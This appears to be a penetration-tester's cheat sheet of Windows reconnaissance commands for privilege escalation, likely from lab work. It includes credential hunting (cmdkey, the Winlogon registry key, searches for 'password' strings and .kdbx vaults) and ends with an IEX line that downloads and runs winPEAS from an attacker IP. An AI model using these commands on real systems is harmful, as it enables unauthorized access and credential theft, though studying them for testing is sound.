Situational Awareness
In this section we will show basic commands to gather enough information about our current situation and how we can use it to escalate privilege.
Current User
Privileges
whoami /privGroups Member
whoami /groupsCommand History
Get-History(Get-PSReadlineOption).HistorySavePathSaved Credentials
cmdkey /listreg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"Users
cmd.exe
net usernet user /domainnet user cub3 /domainpowershell.exe
Get-LocalUserGet-LocalUser cub3Groups
cmd.exe
net localgroupnet localgroup Administratorsnet group /domainnet group "Domain Admins" /domainpowershell.exe
Get-LocalGroupGet-LocalGroupMember AdministratorsSystem Information
systeminfoNetwork Information
ipconfig /allroute printnetstat -aonnetstat -a -p tcp | findstr LISTENINGProcesses
cmd.exe
tasklistwmic process listwmic process get ProcessID,ExecutablePath,Commandline /format:listpowershell.exe
Get-ProcessGet-WMIObject -Class Win32_ProcessInstalled Programs
32-bit
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname 64-bit
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displaynameFiles
findstr /si password *.txt *.config *.yamlGet-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.kdbx,*.config -File -Recurse -ErrorAction SilentlyContinueWinpeas.exe
IEX (New-Object Net.Webclient).downloadstring("http://10.10.14.161/winPEAS.ps1")Last updated